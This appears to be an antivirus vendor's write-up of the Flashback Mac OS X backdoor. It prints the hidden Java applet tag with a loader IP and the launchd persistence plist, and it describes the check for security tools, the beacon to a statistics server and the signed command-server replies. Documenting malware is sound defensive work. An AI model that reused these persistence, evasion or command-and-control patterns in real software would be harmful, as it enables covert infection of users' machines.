BackDoor.Flashback.39

The Trojan horse for Mac OS X. Exploits a Java vulnerability to infect a system. Installation parameters are transferred with the applet parameters. Example:

<object type="application/x-java-applet" width="0" height="0">
<param name="s" value="1"/>
<param name="q" value="2"/>
<param name="svname" value="com.zeobit.keep">
<param name="svbname" value="mkeeper">
<param name="dname" value="Software Update">
<param name="lurl" value="31.31.79.87">');
<param name="archive" value="al-2.jar">
<param name="code" value="a.apl">
</object>

An exploit saves the executable and plist-file responsible for its launch to the hard drive.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key><string>com.zeobit.keep</string>
<key>ProgramArguments</key><array><string>/Users/<username>/.mkeeper</string></array>
<key>RunAtLoad</key><true/>
<key>StartInterval</key><integer>4212</integer>
<key>StandardErrorPath</key><string>/dev/null</string>
<key>StandardOutPath</key><string>/dev/null</string>
</dict>
</plist>

Once launched, the Trojan searches for the following components in the system and if at least one of them is found, the Trojan process ends:

* /Library/Little Snitch
* /Developer/Applications/Xcode.app/Contents/MacOS/Xcode
* /Applications/VirusBarrier X6.app
* /Applications/iAntiVirus/iAntiVirus.app
* /Applications/avast!.app
* /Applications/ClamXav.app
* /Applications/HTTPScoop.app
* /Applications/Packet Peeper.app

After that it sends an installation success notification to a statistics server:

http://46.17.63.144/stat_svc/

It generates a list of command servers and sends consecutive queries at control server addresses. The GET requests include the following string in the user-agent field:

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1; sv:%s; id:%s) Gecko/20100101 Firefox/9.0.1

Here sv is the bot version, id is a unique identifier for the machine (Hardware UUID).

After receiving a response from the control server, BackDoor.Flashback.39 searches the response for three tags:

##begin##
##sign##
##end##

If the RSA verification for the reply is successful, then the Trojan horse downloads and runs the payload on the infected machine.